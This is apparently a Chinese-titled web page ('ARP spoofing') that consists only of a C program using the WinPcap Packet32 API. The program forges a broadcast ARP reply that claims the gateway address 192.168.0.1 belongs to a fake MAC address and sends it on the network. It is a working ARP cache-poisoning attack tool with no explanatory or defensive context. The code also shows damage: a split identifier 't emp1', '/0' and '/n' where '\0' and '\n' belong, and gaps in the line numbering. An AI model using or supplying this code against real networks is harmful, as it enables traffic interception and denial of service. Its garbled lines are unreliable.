ARP 欺骗

1. #include <stdio.h>
2. #include <string.h>
4. #include <Packet32.h>
6. #define EPT_ARP      0x0806
7. #define EPT_IP       0x0800
8. #define ARP_HARDWARE 0x0001
9. #define ARP_REQUEST  0x0001
10. #define ARP_REPLY    0x0002
12. #pragma pack(push, 1) // 设置对齐为1，并保存原有对齐设置
14. typedef struct {
15.      unsigned char ether_dst[6];
16.      unsigned char ether_src[6];
17.      unsigned short ether_type;
18. } Ether_Header;
20. typedef struct {
21.     unsigned short arp_hrd;
22.     unsigned short arp_pro;
23.     unsigned char arp_hln;
24.     unsigned char arp_pln;
25.     unsigned short arp_op;
27.     unsigned char arp_sha[6];
28.     unsigned long arp_spa;
29.     unsigned char arp_tha[6];
30.     unsigned long arp_tpa;
31. } ARP_Header;
33. typedef struct {
34.      Ether_Header ether_header;
35.      ARP_Header   arp_header;
36. } ARP_Packet;
38. #pragma pack(pop) // 恢复对齐设置
40. void GetMacAddr(const char *s, unsigned char *mac)
41. {
42.      char i = 0, _tmp[18], key[] = ":-";
43.      strncpy(_tmp, s, 18);
44.      char *p = strtok(_tmp, key);
45.      while (p) {
46.          mac[i++] = (unsigned char)strtol(p, NULL, 16);
47.          p = strtok(NULL, key);
48.      }
49. }
51. int main(int argc, char *argv[])
52. {
53.      ARP_Packet packet;
55.      memset(&packet, 0, sizeof(packet));
57.      WCHAR AdapterList[4][256];
58.      WCHAR AdapterNames[1024];
60.      memset(AdapterNames, 0, sizeof(AdapterNames));
61.      memset(AdapterList, 0, sizeof(AdapterList));
62.      
63.      ULONG AdapterLength = 1024;
65.      if (PacketGetAdapterNames((char*)AdapterNames, &AdapterLength) == FALSE) {
66.          printf("PacketGetAdapterNames Error./n");
67.          exit(1);
68.      }
70.      char *temp, *temp1;
71.      temp = temp1 = (char *)AdapterNames;
72.      int i = 0;
73.      while ((*temp != '/0') || (*(temp - 1) != '/0')) {
74.          if (*temp == '/0') {
75.              memcpy(AdapterList[i], temp1, (temp - temp1));
76.              t emp1 = temp + 1;
77.              i++;
78.          }
79.          temp++;
80.      }
82.      LPADAPTER lpAdapter = PacketOpenAdapter((LPTSTR)AdapterList[1]);
83.      if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) {
84.          printf("PacketOpenAdapter Error./n");
85.          exit(1);
86.      }
88.      LPPACKET lpPacket = PacketAllocatePacket();
89.      if (!lpPacket) {
90.          printf("PacketAllocatePacket Error./n");
91.          exit(1);
92.      }
94.      char PacketBuf[512];
95.      memset(PacketBuf, 0, sizeof(PacketBuf));
97.      unsigned char MacAddr[6];
98.      
99.      GetMacAddr("FF:FF:FF:FF:FF:FF", MacAddr);
100.      memcpy(packet.ether_header.ether_dst, MacAddr, 6);
102.      GetMacAddr("11:11:11:11:11:11", MacAddr);
103.      memcpy(packet.ether_header.ether_src, MacAddr, 6);
105.      packet.ether_header.ether_type = htons(EPT_ARP);
107.      packet.arp_header.arp_hrd = htons(ARP_HARDWARE);
108.      packet.arp_header.arp_pro = htons(EPT_IP);
109.      packet.arp_header.arp_hln = 6;
110.      packet.arp_header.arp_pln = 4;
111.      packet.arp_header.arp_op = htons(ARP_REPLY);
113.      GetMacAddr("11:11:11:11:11:11", MacAddr);
114.      memcpy(packet.arp_header.arp_sha, MacAddr, 6);
115.      packet.arp_header.arp_spa = inet_addr("192.168.0.1");
117.      memcpy(PacketBuf, (char *)&packet, sizeof(packet));
118.      
119.      PacketInitPacket(lpPacket, PacketBuf, 60);
120.      
121.      if (PacketSetNumWrites(lpAdapter, 2) == FALSE) {
122.          printf("PacketSetNumWrites Error./n");
123.          exit(1);
124.      }
125.     
126.      if (PacketSendPacket(lpAdapter, lpPacket, TRUE) == FALSE) {
127.          printf("PacketSendPacket Error./n");
128.          exit(1);
129.      }
131.      printf ("OK./n");
132.      PacketFreePacket(lpPacket);
134.      PacketCloseAdapter(lpAdapter);
136.      return 0;
137. }